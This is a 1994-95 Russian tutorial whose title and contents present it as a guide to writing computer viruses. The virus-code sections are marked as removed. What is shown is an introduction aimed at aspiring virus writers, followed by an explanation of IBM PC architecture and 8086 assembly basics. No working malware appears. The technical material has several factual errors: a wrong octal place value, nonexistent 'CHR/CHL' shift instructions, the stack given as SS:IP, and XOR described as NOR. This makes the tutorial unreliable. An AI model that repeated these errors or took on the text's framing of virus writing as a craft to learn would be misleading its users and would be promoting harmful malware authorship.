ZF

                ПОСОБИЕ НАЧИНАЮЩЕЙ ТЕХНОКРЫСЫ
                             или
                      КАК ПИСАТЬ ВИРУСЫ
                      by DrMAD, 1994-95

                           Содержание

Введение
1. Как устроена IBM PC
1.1. Замечания по системам счисления
1.2. Память компьютера
1.3. Центральный процессор
1.3.1. Регистры общего назначения
1.3.2. Регистры-указатели
1.3.3. Сегментные регистры
1.3.4. Регистр флагов
1.4. Внешние устройства
2. Основы системного программирования
2.1. Краткое введение в язык ассемблера
2.1.1. Команды пересылки данных
2.1.2. Адреса и метки
2.1.3. Cпособы адресации
2.1.4. Арифметические и логические команды
2.1.5. Команды перехода
2.1.6. Использование стека и процедур
2.1.7. Прочие команды
2.1.8. Пример программы
2.1.9. Использование отладчиков
2.1.9.1. Отладчик DEBUG
2.1.9.2. Отладчик TURBO DEBUGGER
2.2. Программирование в MSDOS
2.2.1. Как устроена операционная система
2.2.2. Понятие прерывания
2.2.3. Простейший ввод/вывод
2.2.4. Работа с файлами
2.2.5. Распределение памяти
2.2.6. Выполнение программ
2.2.6.1. Отличие COM-программ от EXE-программ
2.2.6.2. Префикс программного сегмента
2.2.6.3. Запуск и завершение программ
2.2.6.4. Резидентные программы
3. Написание вирусов
3.1. Что такое вирус
3.2. Какие бывают вирусы
3.3. О названиях вирусов
3.4. Файловые вирусы
3.4.1. Строение некоторых команд микропроцессора
3.4.2. Способы заражения СОМ-программ
3.4.2.1. "Стандартный" способ  --------------------- (*)
3.4.2.2. Реализация идеи "оттеснения" -------------- (*)
3.4.2.3. Реализация идеи "перемещения" ------------- (*)
3.4.3. Способы заражения ЕХЕ-программ
3.4.3.1. Заражение записью в начало программы ------ (*)
3.4.3.2. "Стандартный" способ заражения ЕХЕ-программ (*)
3.4.4. Резидентное оставление вируса в памяти
3.4.5. Поиск "жертв" нерезидентными вирусами
3.4.6. Пример резидентного СОМ-вируса -------------- (*)
3.4.7. Пример нерезидентного ЕХЕ-вируса ------------ (*)
3.5. Загрузочные вирусы
3.5.1. Структура дискового устройства
3.5.2. Низкоуровневая работа с дисковыми устройствами
3.5.3. Описание процесса загрузки компьютера
3.5.4. Принципы работы загрузочных вирусов --------- (*)
3.5.5. Пример загрузочного вируса ------------------ (*)
4. Философия вирусописания
4.1. Немного истории
4.2. Кто пишет вирусы и зачем
4.3. Обзор антивирусных средств
4.4. Написание "качественных" вирусов
4.4.1. Сохранение даты/времени доступа к файлу
4.4.2. Обработка критических ошибок
4.4.3. Прямой доступ к обработчику функций DOS
4.4.4. Вирусы-невидимки
4.4.5. Зашифрованные и полиморфные вирусы
4.4.6. О "троянских" фрагментах
4.5. "Моральный кодекс" технокрысы ----------------- (*)
Заключение
Литература

    ПРИМЕЧАНИЕ: разделы,  помеченные знаком  (*),  удалены  из
текста.

                           Введение

    Идея написать  эту  статью возникла у автора в связи с его
горячим желанием  поделиться  с  ближним  своим  теми  крохами
информации,  которые  он  вычитал  в  литературе,  высмотрел в
распечатках,  выстрадал  за  клавиатурой  компьютера.При  этом
автор  учитывает,  что  тема  данной  статьи  вызывает  жгучий
интерес у определенной части публики,  которая  самостоятельно
ищет  и  находит  сведения,  как-то использует их,  ошибается,
приносит немало хлопот себе и окружающим.Автор лелеет надежду,
что    сим    документом   он   существенно   облегчит   юному
вирусописателю    (технокрысе)     процесс     первоначального
ознакомления с темой , убережет его от ошибок, а окружающих от
головной боли,  а главное - пробудит в  нем  уважение  к  ряду
моральных  принципов,  которого (увы!) так недостает некоторым
представителем этой нелегкой и опасной профессии.
    При этом предполагается, что читатель как минимум:
     - умеет немножко программировать;
     - имеет некоторое представление об архитектуре IBM PC;
     - знает основные команды ассемблера 8086.
    Впрочем, автор и этих вопросов коснется в своей  статье.

                    1. Как устроена IBM PC

    Как автора  учили  в  свое время ПАРТИЯ и ПРАВИТЕЛЬСТВО (а
также преподаватель курса  "Архитектура  ЭВМ"  ),  большинство
компьютеров устроены a la Von Naumann:

     +------------+    +-------------+    +-------------+
     | Оперативная|<---+ Центральный |<---+ Внешние     |
     |  память    +--->| процессор   +--->| устройства  |
     +------------+    +-------------+    +-------------+

    В оперативной  памяти   хранятся   программы   и   данные,
центральный   процессор   выполняет   эти  программы  с  целью
обработки этих данных, внешние устройства позволяют компьютеру
общаться с окружающей средой.
    IBM PC устроен в общем так же,  хотя за  сие  утверждение,
высказанное  на экзамене,  вышеупомянутый преподаватель мог бы
сильно испортить настроение  автору  высказывания.Однако,  нам
вполне достаточен и такой уровень рассмотрения.

             1.1. Замечания по системам счисления

    Как известно,    компьютер   в   процессе   своей   работы
манипулирует  с  числами.Любое  число  может   быть   записано
по-разному.Вид   записи   зависит  от  использованной  системы
счисления.Например,  число 24 может в римской записи выглядеть
как  XXIV.В компьютерной технике используются т.н. позиционные
системы счисления,  т.е.  способы записи чисел,  основанные на
принципе поразрядного представления.  Например, в повседневной
жизни мы пользуемся  10-чной  системой  счисления  (  системой
счисления с основанием 10 ):

                   123= 1*100 + 2*10 + 3*1

    Способ записи  основывается  на  том,  что каждому разряду
соответствует множитель - степень числа 10 (  1,10,100,1000  и
т.д.)
    В компьютерной технике распространены также:

    1) Двоичная система счисления ( степени двойки  - 1,2,4,8,
16 ...):

                   1100= 1*8 + 1*4 + 0*2 + 0*1

    2) Восмеричная  система  счисления  (  степени восьмерки -
1,8,64,256...) :

                   371=  3*64 + 7*8 + 1

    3) Шестнадцатиричная   система   счисления    (    степени
шестнадцати - 1,16,256,4096...) :

                   1C0 = 1*256 + 12*16 + 0*1

    Для представления  чисел в системе счисления введены новые
"цифры": А - для 10, В - для 11, С - для 12 и т.д.

    Мы в основном будем  использовать  2  системы  счисления :
10-чную и 16-ричную.  Для того, чтобы отличить 16-ричное число
от 10-тичного с одной стороны и от имени переменной - с другой
стороны, последуем следующему правилу:

    16-ричное число  начинается  цифрой  и  кончается символом
'h':

                   105   - 10-тичное число;
                   0105h - 16-ричное число;
                   ABC   - имя переменной;
                   0ABCh - 16-ричное число.

                    1.2. Память компьютера

    Оперативная память  -  последовательность ячеек,  хранящих
данные.Ячейки нумеруются последовательно от 0 до максимального
значения, номер ячейки называется ее физическим адресом.Ячейка
минимального размера хранит один байт (8 бит) информации.

                    +---------------+   MAX
                    +---------------+
                          .....
                    +---------------+   1
                    +---------------+   0
                    +---------------+

    В IBM  PС  принято нумеровать ячейки несколько по другому,
не в виде абсолютного адреса, а в виде пары:

                      СЕГМЕНТ : СМЕЩЕНИЕ

    Абсолютный адрес при этом вычисляется как:

                      СЕГМЕНТ*16+СМЕЩЕНИЕ

    Легко видеть,  что один и тот же  абсолютный  адрес  может
быть  представлен  в  виде  пары  СЕГМЕНТ:СМЕЩЕНИЕ несколькими
разными способами.Например,  физический адрес 123 это и 0:123,
и  1:107,  и 7:11 ...  Кстати,  в литературе об IBM PC принято
обозначать адреса памяти в 16-ричном виде,  так что правильней
было бы рассматривать не адрес 123, а адрес 7Вh.
    Разные компьютеры  могут иметь разную конфигурацию памяти,
мы сейчас рассмотрим типичную:


         ????:?         +----------------+
                        | Расширенная    |
                        |         память |
         FFFF:0         +----------------+
                        |   ПЗУ BIOS     |
         F000:0         +----------------+
                        |  Видео ПЗУ     |
         C800:0         +----------------+
                        |  Видеопамять   |
         А000:0         +----------------+
                        | Память         |
                        |       программ |
         ????:?         + - - - - - - - -+
                        | Ядро MSDOS     |
           20:0         +----------------+
                        |Вектора прерыв. |
            0:0         +----------------+

    Самые нижние разделы памяти занимают вектора  прерываний и
ядро операционной системы MSDOS. Размер ядра зависит от версии
системы,  наличия  системных  драйверов  и  некоторых   других
факторов,  поэтому  верхнюю  границу  этой  области  памяти мы
оставляем  расплывчатой.Выше  области  MSDOS  лежит  свободная
память,  как  правило,  размером  несколько сотен килобайт,  в
которой размещаются  команды  и  данные  программ.  Начиная  с
адреса  А000:0  располагается  память,  зарезервированная  для
работы видеоплат CGA,  EGA,  VGA и пр.  Чуть выше  размещается
область  памяти,  содержащая  стандартные  процедуры  работы с
видеоустройствами.Содержимое памяти,  в которой они  помещены,
не может быть изменено.  Эта область памяти размещается в т.н.
постоянном   запоминающем   устройстве    (ПЗУ).    Конкретное
содержимое этого ПЗУ зависит от вида и модели видеоустройства.
Еще выше располагается ПЗУ,  содержащее стандартные  процедуры
работы  с  остальным периферийным оборудованием - клавиатурой,
дисками,  портами и пр.  Эти процедуры специфичны для  каждого
типа и модели материнской платы,  т.е.,  грубо говоря,  типа и
модели  центрального   микропроцессора.И,   наконец,   верхние
области памяти компьютера,  выше адреса FFFF:0, может занимать
т.н.  расширенная память.MSDOS напрямую не может  использовать
эту  память,  хотя  в  последних  версиях  (  начиная  с  4.0)
наметился некоторый  прогресс.Эту  память  умеют  использовать
оболочка WINDOWS и некоторые программы.

                  1.3. Центральный процессор

    Центральный процессор   (микропроцессор)   размещается  на
системной  плате.  Компьютеры   IBM   PC   оснащаются   серией
микропроцессоров  фирмы  Intel.  Самые  младшие  модели IBM PC
оснащались  микропроцессорами  8086  и  8088.  Большая   часть
компьютеров,  выпускавшихся  с  середины  80-х  по начало 90-х
годов оснащена микропроцессором 80286,  который обладает более
высоким  быстродействием  и  дополнительными  возможностями по
использованию  расширенной  памяти.Более  современные   модели
оснащены  микропроцессорами  80386  и 80486,  быстродействие и
возможности которых еще выше.  И,  наконец,  пока венчает  эту
пирамиду микропроцессор PENTIUM (80586).
    Все эти микропроцессоры программно совместимы снизу вверх.
Это    означает,   что   любая   программа,   написанная   для
микропроцессора 8086 может  без  помех  выполняться  на  более
старших  моделях,  но  не  наоборот.  Хорошим  тоном считается
программирование в терминах младших моделей,  что  гарантирует
выполняемость  программного  обеспечения  на  всех компьютерах
серии IBM PC.Использовать же специфические возможности старших
моделей  имеет  смысл  только  тогда,  когда это действительно
необходимо,  т.е.  для написания особо сложных и нетривиальных
программ.
    Рассмотрим, что  же  такое  микропроцессор  8086  с  точки
зрения программиста:

  +-------------+--------------+-------------+-------------+
  |  Регистры   |  Регистры-   |  Сегментные |    Регистр  |
  |  общего     |  указатели   |  регистры   |    флагов   |
  |  назначения |              |             |             |
  |  AX,BX,CX,DX|SI,DI,BP,SP,IP|  CS,DS,ES,SS|             |
  +-------------+--------------+-------------+-------------+
  |               Cистема команд микропроцессора           |
  +--------------------------------------------------------+

    Регистры -  это   расположенные   внутри   микропроцессора
специальные  ячейки  памяти,  способные  содержать  16 бит ( 2
байта ) информации.
    Надо хорошо представлять себе,  что хотя программист может
писать программу на любом  языке,  например  на  FORTRANе  или
PASCALе, микропроцессор может понимать только один язык - язык
своей системы  команд  (  ошибочно  называемый  иногда  языком
ассемблера ).Умные компиляторы осуществляют перевод программ с
языков высокого уровня в код микропроцессора,  с которым тот и
имеет  дело.  В процессе своей работы микропроцессор извлекает
из оперативной памяти очередную команду и исполняет  ее. Таким
образом,  все  многообразие  программ на самом деле сводится к
последовательности   выполнения   микропроцессором   огромного
количества  элементарных операций над данными,  размещенными в
регистрах и/или оперативной памяти.

              1.3.1. Регистры общего назначения

    Эта группа состоит из 4-х 16-битовых регистров :  AX,  BX,
CX  и  DX.Каждый регистр этой группы можно рассматривать и как
один 16-битовый регистр,  и  как  пару  независимых  8-битовых
регистров.Например,  регистр  АХ  состоит  из двух :  регистра
младшего байта AL и регистра старшего байта AH.
    Регистры этой   группы  наиболее  часто  используются  как
хранилище операндов,  над  которыми  микропроцессор  выполняет
свои    операции.Регистр    ВХ   обладает   также   свойствами
регистра-указателя ( см. ниже).

                  1.3.2. Регистры-указатели

    Эта группа состоит из пяти 16-битовых регистров :  SI, DI,
BP,  SP  и  IP.Эти  регистры  наиболее  часто используются как
индексы при обращении микропроцессора  к  оперативной  памяти,
хотя  могут  содержать  и операнды.Регистр SP зарезервирован в
качестве указателя стека.Регистр IP зарезервирован  в качестве
указателя адреса исполняемой микропроцессором команды.

                  1.3.3. Сегментные регистры

    Как уже   ранее   отмечалось,   микропроцессор   не  может
адресоваться  к  физическому  адресу  памяти,  ему  необходимо
разбиение адреса на две части:

                      СЕГМЕНТ : СМЕЩЕНИЕ

    Это связано   с   тем,   что  внутри  микропроцессора  нет
регистра, который вмещал бы в себя более 16-ти бит информации,
а  значит,  ни  в  один регистр невозможно поместить полностью
физический   адрес.   Например,   физический   адрес   05АВСDh
потребовал  бы  19-ти  битного  регистра.Выход  заключается  в
следующем:  сегментная часть адреса  помещается  в  сегментный
регистр,   а  смещение  представляется  либо  непосредственным
числом, либо помещается в регистр-указатель.
    Пусть, например,  необходимо  поместить в регистр АХ слово
(два    байта),    содержащееся    по    абсолютному    адресу
05ABDh.Ассемблерные команды,  выполняющие это действие,  могут
выглядеть так:

         MOV AX,5ABCh ; Загрузка сегментного
         MOV DS,AX    ;  регистра DS
         MOV SI,0Dh   ; Загрузка регистра-указателя
         MOV AX,[SI]  ; Чтение в AX содержимого ячейки памяти

    При разборе  данного фрагмента необходимо учитывать,  что,
как правило,  смещение в SI используется относительно сегмента
в DS.Если  бы  мы,  например,  захотели бы написать предыдущий
фрагмент, используя в качестве сегментного регистра ES,  то он
(фрагмент) принял бы вид:

         MOV AX,5ABCh
         MOV ES,AX
         MOV SI,0Dh
         MOV AX,ES:[SI]

    Здесь в последней ассемблерной команде  используется явное
указание    сегментного    регистра,   относительно   которого
выполняется адресация.
    Сегментные регистры  ES  и DS в основном предназначены для
работы с данными  в  оперативной  памяти.SS  предназначен  для
работы  в  паре  с  SP,  вместе  они  содержат  адрес  вершины
программного стека.CS предназначен для работы  в  паре  с  IP,
вместе они содержат адрес выполняемой команды.Поэтому изменять
значения этих регистров,  загружая в них конкретные  значения,
не рекомендуется, а порой и просто запрещено.
    Как правило,  индексы,  содержащиеся в регистрах SI,DI или
BX,  относятся  к сегменту данных DS ( DI в некоторых командах
относится к ES ).BP относится к стековому сегменту  SS,  также
как и SP,  но в отличие от него,  не привязан жестко к вершине
стека,  что  позволяет  осуществлять  "незаконный"  доступ   к
магазинной памяти.

                    1.3.4. Регистр флагов

    Регистр флагов   -   это   16-битный  регистр,  содержащий
информацию о текущем состоянии микропроцессора.Каждый значащий
бит этого регистра имеет свое имя и свое назначение.

      +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
      |15|14|13|12|11|10| 9| 8| 7| 6| 5| 4| 3| 2| 1| 0|
      +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
                   ^  ^   ^  ^  ^  ^     ^     ^     ^
    OVERFLOW ------+  |   |  |  |  |     |     |     + CARRY
    DIRECTION --------+   |  |  |  |     |     +----- PARITY
    INTERRUPT ENABLE -----+  |  |  |     +-- AUXILIARY CARRY
    TRAP --------------------+  |  +------------------- ZERO
                                +---------------------  SIGN

    Некоторые команды    микропроцессора   могут   влиять   на
отдельные биты этого регистра,  другие способны  несколько  по
разному выполняться в зависимости от значения этих битов.
    Например если бит CARRY регистра флагов  равен  1,  то  по
команде
                         JC LABEL

    микропроцессор выполнит переход по  адресу,  обозначенному
меткой   LABEL.Бит   же   CARRY  мог  бы  быть  ранее  взведен
(установлен в 1) или сброшен ( установлен в  0)  в  результате
выполнения  какой-нибудь  предыдущей  арифметической операции.
Таким образом выполняются условные переходы в программе.
    Некоторые биты   регистра   флагов  наоборот,  переключают
режимы  работы  микропроцессора.Например,  в  зависимости   от
значения   бита   DIRECTION   команды  циклического  поиска  и
пересылки данных  могут  выполняться  либо  в  направлении  от
младших  адресов  памяти к старшим,  либо наоборот.А установка
бита TRAP в 1 вызывает переключение микропроцессора  на работу
в "пошаговом" режиме.

                   1.4. Внешние устройства

    Внешних устройств  существует  великое  множество:  это  и
клавиатура,  и дисковые устройства, и видеосистема...Некоторые
устройства  способны самостоятельно обмениваться информацией с
оперативной памятью компьютера  без  участия  микропроцессора.
Другие  работают  только под его управлением.Обмен командами и
данными  между  микропроцессором   и   внешними   устройствами
осуществляется через порты микропроцессора,  каждый из которых
имеет свой адрес и свое назначение.Например,  через  порт  61h
микропроцессор  общается  с клавиатурой,  динамиком и таймером
компьютера.

            2. Основы системного программирования

    Понятие системного программирования  весьма размыто.Обычно
программирование   различают  прикладное  и  системное.Мы  под
ситемным  программированием  будем  понимать  программирование
низкоуровневого   доступа  к  ресурсам  компьютера  -  памяти,
процессорному времени, файловой системе и пр.
    Для низкоуровневого   доступа  к  ресурсам  компьютера  не
обязательно  знание  системы   команд   процессора   и   языка
ассемблера,   т.к.   эту   возможность  могут  предоставить  и
некоторые языки высокого уровня типа C или Modula-2.Интересно,
что  действительно  существуют  вирусы,  написанные  на языках
высокого уровня ( см. ниже ).
    Однако, мы все-таки будем  преимущественно ориентироваться
на язык ассемблера.

           2.1. Краткое введение в язык ассемблера

    Вообще говоря,  существует несколько языков ассемблера для
IBM   PC,   предназначенных   для   обработки   тем  или  иным
компилятором :  MASM  фирмы  Microsoft,  TASM  фирмы  Borland,
OPTASM  и  пр.  Разные  компиляторы понимают разные языки!  Мы
будем использовать  некоторый  обобщенный  язык,  который,  по
идее,  должен  быть  воспринят любым компилятором.В случаях же
возможной неадекватности интерпретации следует иметь  в  виду,
что   автор  ориентировался  на  компилятор  MASM  v4.0  фирмы
Microsoft.

               2.1.1. Команды пересылки данных

    Самая частая операция,  которую выполняет микропроцессор в
процессе  работы  -  операция пересылки данных.За эту операцию
отвечает команда ассемблера MOV.При помощи этой  команды можно
переслать  данные  из регистра в регистр,  из памяти в регистр
или из регистра в память.Например:

         MOV AX,BX - переслать  содержимое BX в AX;
         MOV CL,13 - переслать десятичное число 13 в CL
                     ( т.е. в младший байт регистра CX ).


    Когда мы  говорим  об обращении к памяти,  мы имеем в виду
обращение к ячейке с определенным адресом.В  языке  ассемблера
существует    возможность    назначить    какому-либо   адресу
символическое имя ( метку ) и в дальнейшем обращаться к ячейке
памяти,  даже не задумываясь о конкретном числовом значении ее
адреса.Примеры пересылки с использованием памяти:

    MOV AX,[04Ch] - переслать в АХ содержимое ячейки  памяти с
16-ричным адресом 4C;
    MOV NUMBER,BX - переслать в ячейку памяти  с символическим
именем NUMBER содержимое регистра BX.

    Отметим, что   запрещены   пересылки   между   сегментными
регистрами.Если вы хотите поместить в регистр  ES  тоже  самое
значение, что находится в CS, то вам придется написать:

                          MOV AX,CS
                          MOV ES,AX

    Кроме того,  запрещены пересылки типа "память-память".Если
необходимо передать данные из одной ячейки памяти в другую, то
нужно  воспользоваться  в   качестве   буфера   каким   нибудь
регистром:

                          MOV DX,[080h]
                          MOV LENSTR,DX

    Существует специальная  команда  для   пересылки   больших
объемов данных из одной области памяти в другую MOVS.Она имеет
две модификации - для пересылки байтов MOVSB,  и для пересылки
двойных  байтов  (  слов  ) MOVSW.  Команда выполняет передачу
содержимого одной ячейки памяти,  с  адресом,  заданным  парой
регистров  DS:SI  в ячейку с адресом ES:DI.После чего регистры
SI и DI автоматически изменяются на 1 или 2 ( в зависимости от
того,  используем  ли  мы  вариант  MOVSB или MOVSW ).Если бит
Direction регистра флагов ( см.  1.3.4. ) равен 0, то значения
этих   регистров-указателей   увеличатся,  нет  -  уменьшатся.
Обнулить или "объеденичить" этот бит можно командами CLD и STD
соответственно.Такой механизм позволяет организовать пересылку
целых блоков памяти,  если указать в регистре CX  размер  этих
блоков в байтах или словах и применить повторитель REP.Пример:
переслать 12 байт из области памяти, начинающейся c адреса 0:0
по адресу ES:120h.

                          MOV AX,0
                          MOV DS,AX
                          MOV SI,AX
                          MOV DI,120h
                          MOV CX,12
                          CLD
                          REP MOVSB

    REP обеспечивает  повторение  команды  MOVSB  столько раз,
какое число находится в CX,  т.е.  12.  Еcли бы нам необходимо
было переслать два байта ( одно слово ),  то вполне достаточен
был бы следующий фрагмент:

                          MOV AX,0
                          MOV DS,AX
                          MOV SI,AX
                          MOV DI,120h
                          MOVSW

                    2.1.2. Адреса и метки

    Как уже ранее указывалось ( п.  2.1.2.  ), можно присвоить
тому   или  иному  адресу  символическое  имя  -  метку,  и  в
дальнейшем ссылаться только на нее.
    Для того,   чтобы   зарезервировать   ячейку   памяти  под
переменную  и   присвоить   ее   адресу   символическое   имя,
используются конструкции языка ассемблера DB или DW:

NUMBER DB 0          - зарезервировать байт, поместив в него
                       изначально число 0 и присвоить адресу
                       имя NUMBER;
METKA  DW 1,20h      - зарезервировать  2  слова,  присвоить
                       адресу первого из них имя METKA и по
                       местить в эти слова числа 1 и 20h;
    DB 10   DUP   (?)   -   зарезервировать   10  байт  памяти
неизвестного содержимого,  никакой метки адресу в соответствие
не ставить.

    Вполне допустимы также следующие объявления:

STROKA  DB 'Привет от страшного ВИРУСА !$'
COMPLEX DW 2 dup ('Ку')

    Рассмотрим команду:

                         MOV METKA,0

    Естественно возникает вопрос,  что выполняет эта  команда:
пересылку  байта  0  или  слова  0  по  адресу  METKA ?  Чтобы
разрешить эту двойственность, рекомендуется явно указывать тип
операнда:
               MOV BYTE PTR METKA,0 - для байта;
               MOV WORD PTR METKA,0 - для слова.

    По умолчанию считается,  что пересылается  слово.Разрешена
также конструкция  DWORD  PTR  для  указания на двойное слово,
т.е. на 4 последовательно размещенные байта памяти.
    Важно также   следующее:   по    умолчанию    все    метки
воспринимаются как смещения относительно регистра DS.Для того,
чтобы обратиться к адресу в другом сегменте,  необходимо  явно
указать его сегментный регистр:

                       MOV ES:[4Ch],AX
                       MOV CS:WORD PTR METKA,0

    Поместить в регистр  числовое  значение  адреса,  которому
соответствует метка, можно командой LEA:

    LEA SI,STROKA   -   поместить   в   SI  адрес  (  смещение
относительно DS ) области памяти, которому соответствует метка
STROKA

    По-другому это можно сделать с  использованием конструкции
OFFSET.

                     MOV SI,OFFSET STROKA

                   2.1.3. Cпособы адресации

    В системе  команд   микропроцессора   8086   предусмотрены
различные  способы  обращения  к  информации,  расположенной в
ячейках оперативной памяти.Нам уже знакомы 2 способа:

    1) Прямой, когда обращение происходит к конкретному адресу
(метке):

                         MOV CHISLO,0

    2) Косвенный,  когда обращение происходит к ячейке памяти,
адрес которого размещен в том или ином индексном регистре:

                     MOV BYTE PTR [SI],0

    Рассмотрим еще способ:

    3) Косвенный со смещением,  когда обращение  происходит  к
ячейке   памяти,   адрес   которой   определяется   как  сумма
содержимого   индексного   регистра   и   некоторого    числа,
представленного либо непосредственно, либо в виде метки:

                       MOV [SI+04Ch],0
                       MOV AX,STROKA[BX]

    Существуют и   другие    способы    адресации,    например
базово-индексный,  базово-индексный  со смещением и пр.  Мы их
здесь рассматривать не будем.

          2.1.4. Арифметические и логические команды

    Разумеется, система   команд   микропроцессора   8086   не
исчерпывается командами пересылки.Рассмотрим некоторые команды
преобразования информации.

    Команда ADD  позволяет прибавить к первому операнду второй
и поместить сумму на место первого:

                          ADD AX,10

    Команда SUB позволяет вычесть из первого операнда второй и
поместить разность на место первого:

                   SUB BYTE PTR NUMBER,AL

    Команды AND,  OR,  XOR  позволяют   выполнить   логические
операции "И", "ИЛИ", "ИЛИ-НЕ" между первым и вторым операндами
и поместить результат на место первого:

    AND AX,FFEFh - обнулить в регистре AX 4-й бит
    OR  NUMBER,8001 - установить в 1 биты 0 и 15 ячейки NUMBER
    XOR BYTE PTR STR[SI],1 - инвертировать 0-й бит

    Команда NOT позволяет  инвертировать  все  биты  (двоичные
разряды) операнда:

                            NOT CX

    Команды CHR  и  CHL  позволяют сдвинуть операнд вправо или
влево на несколько битов  (  двоичных  разрядов  ).Если  сдвиг
происходит  на  1  разряд,  то  в  качестве  второго  операнда
используется  число  1,   в   противном   случае   -   регистр
CL.Разумеется,  перед  исполнением команды в регистр CL должно
быть занесено  количество  разрядов,  на  которое  планируется
сдвиг.

    CHR AX,1 - cдвинуть содержимое AX на 1 разряд вправо;

    MOV CL,3
    CHL BYTE PTR NUMBER,CL - сдвинуть содержимое ячейки памяти
                             с адресом NUMBER на 3 разряда
                             влево.

    Команды деления  DIV  и умножения MUL могут работать как с
16-разрядными, так и с 32-разрядными целыми числами.В качестве
первого  операнда  всегда  выступает регистр АХ ( 16-разрядный
случай ) или регистровая пара {DX,AX}  (32-разрядный  случай).
Вид операции определяется вторым операндом.Разрядность первого
операнда принимается равной удвоенной разрядности второго:

    1) MUL  CH  -  второй  операнд  8-битовый.Значит,  берется
содержимое регистра AL, умножается на содержимое CH, результат
помещается в АХ.

    2) MUL  BP  - второй операнд 16-тибитовый.Значит,  берется
содержимое регистра АХ, умножается на содержимое ВР, результат
помещается в регистры DX ( cтаршие разряды ) и АХ ( младшие ).

    3) DIV  BL  -  второй  операнд  8-битовый.Значит,  берется
содержимое регистра АХ,  делится  на  содержимое  BL,  частное
помещается в AL, остаток от деления - в АН.

    4) DIV  1234H- второй операнд 16-тибитовый.Значит, берется
содержимое  пары  {DX,AX},  рассматривается  как  32-разрядное
число,  делится на 01234Н,  частное помещается в AX, остаток в
DX.

Отметим, что здесь шла речь только о  целочисленных  операциях
умножения  и деления.Арифметические операции с действительными
числами выполняются при  помощи  специального  математического
сопроцессора типа 80х87,  рассмотрение которого выводит нас за
рамки данной статьи.

                   2.1.5. Команды перехода

    Если переопредлить содержимое регистров счетчика команд IP
и/или    кодового    сегмента    CS,    то    можно   изменить
последовательность  выборки  из  памяти  и  выполнения  команд
микропроцессора.Но это переопрделение невозможно выполнить при
помощи команд типа MOV и т.п.Для выполнения  подобных операций
служат   специализированные   команды   перехода   (  передачи
управления ).Существуют две группы подобных команд: условные и
безусловные.Разницу  между ними можно пояснить,  обратившись к
терминам языков высокого уровня, например, PASCAL:

    GOTO <Метка>; - безусловный переход;
    IF <Условие> THEN GOTO <Метка>; -  условный переход;

    Существуют несколько разновидностей  команды  безусловного
перехода JMP:

    1) Внутрисегментная - воздействует только на регистр IP;
    2) Межсегментная - воздействует на регистровую пару CS:IP;
    3) Внутрисегментная короткая  -  воздействует  только  на
       регистр  IP,  но  позволяет выполнять переход не более
       чем на 128 байт от текущей точки.

    В качестве операнда в командах перехода  используется либо
метка  (  символическое  представление  нового адреса ),  либо
регистр, содержащий значение этого адреса:

    JMP NEWMET  - перейти на метку NEWMET;

    MOV AX,100H
    JMP AX      - перейти по адресу, содержащемуся в АХ, т.е.
                  по адресу 100Н.

    Рассмотрим редко встречающуюся,  но важную для  нас  форму
команды  безусловного  межсегментного  перехода.Эта  форма  не
может быть записана на языке ассемблера в виде  команды JMP.Но
тем  не  менее  в  систему команд микропроцессора она входит и
может правильно выполняться.Для программирования  этой команды
приходится конструировать ее из отдельных байтов и слов:

                           DB 0EAH
                   NEWOFS  DW ?
                   NEWSEG  DW ?

    Эта команда   выполнит   безусловный  переход  по  адресу,
сегмент которого хранится в слове с меткой NEWSWG,  а смещение
в  слове  с  меткой  NEWOFS,  т.е.  условное  обозначение этой
команды на  языке  ассемблера  должно  бы  выглядеть  так  JMP
NEWSEG:NEWOFS. Пример:

                      DB  0EAH
               NEWOFS DW  0FFF0H
               NEWSEG DW  0F000H

    Кстати, по  адресу  F000H:0FFF0H  в  ПЗУ  BIOS размещается
процедура   перезагрузки   машины,    так    что    выполнение
вышеуказанного  фрагмента  программы  вызовет такой же эффект,
как нажатие кнопки RESET на системном блоке.

    Команды условного перехода все являются внутрисегментными.
Они  выполняют  или  не  выполняют  переход  в  зависимости от
значения тех или иных битов в регистре  флагов.Например,  если
бит CARRY равен 1, то команда

                           JC METKA

    выполнит переход по указанному адресу,  в противном случае
будет выполняться следующая команда.Возникает вопрос,  как  же
устанавливать  или  сбрасывать  те  или  иные биты в регистрах
флагов ?
    Во-первых, существуют специальные команды,  прямо влияющие
на биты этого регистра ( ср. п. 2.1.1. ):

    Бит          Команда установки в 1  Команда сброса в 0
    ----------------------------------------------------------
    CARRY                STC                    CLC
    DIRECTION            STD                    CLD
    INTERRUPT            STI                    CLI

    Во-вторых, эти   биты   изменяются   автоматически   после
выполнения  арифметических и логических команд.Например,  если
результат какой-нибудь  арифметической  команды  равен  0,  то
автоматически становится равным 1 бит ZERO ( бит равенства 0 )
регистра флагов.
    В-третьих, существуют   специальные   команды   сравнения,
которые  не  влияют  на   содержимое   своих   операндов,   но
соответствующим  образом  изменяют  биты  регистра  флагов.Это
команды CMP и TEST.
    Команда CMP  вычитает  (  как  SUB  )  из  первого  своего
операнда второй,  но результат никуда не помещает.Команда TЕST
логически  умножает ( как AND ) содержимое своих операндов, но
результат никуда не помещает.Размещенные вслед за ними команды
условного  перехода будут пользоваться результатами выполнения
этих команд.Рассмотрим некоторые из них:

    JE или JZ   - переход по равенству;
    JA          - переход по больше;
    JB или JC   - переход по меньше ( бит CARRY=1 );
    JNE или JNZ - переход по неравенству.

    Существуют еще  много этих команд.Например,  JAE - переход
по больше или равно,  JP - переход,  если количество единичных
битов результата четно и т.д.
    Кроме того,одна и та же команда микропроцессора может быть
записана на языке ассемблера по-разному.Например,  команда  JB
имеет варианты написания JC и JNAE.
    Пример:

                           CMP AX,0
                           JZ  RAVNO
                           MOV AX,0
                    RAVNO:

    Если содержимое регистра АХ равно 0, то выполнится переход
на метку RAVNO, иначе выполнится команда MOV AX,0.

            2.1.6. Использование стека и процедур

    В вычислительной технике широко применяется понятие стека.
Под стеком обычно понимается область  памяти,  предназначенная
для  хранения каких-нибудь данных и организованная как магазин
автомата: сначала в стек помещается 1-й элемент, потом 2-й, 3-
й  и  т.д.  Извлечение  элементов  из  стека возможно только в
обратном порядке: 3-й, 2-й и , наконец, 1-й.
    В случае  машины  IBM  PC стек организуется таким образом,
что на текущий элемент (  вершину  стека  )  всегда  указывает
регистровая  пара  SS:IP  (  сегмент  и  смещение  ).Начальные
значения  этих   регистров   для   программы,   как   правило,
устанавливаются  автоматически  операционной  системой  MS DOS
(cм. ниже ).
    Поместить элемент в стек можно командой  PUSH,  извлечь  -
командой  РОР.Например,  очень  часто  перед работой фрагмента
программы необходимо сохранить значения некоторых регистров, а
после - восстановить их прежние значения:

                           PUSH AX
                           PUSH BX
                             ...
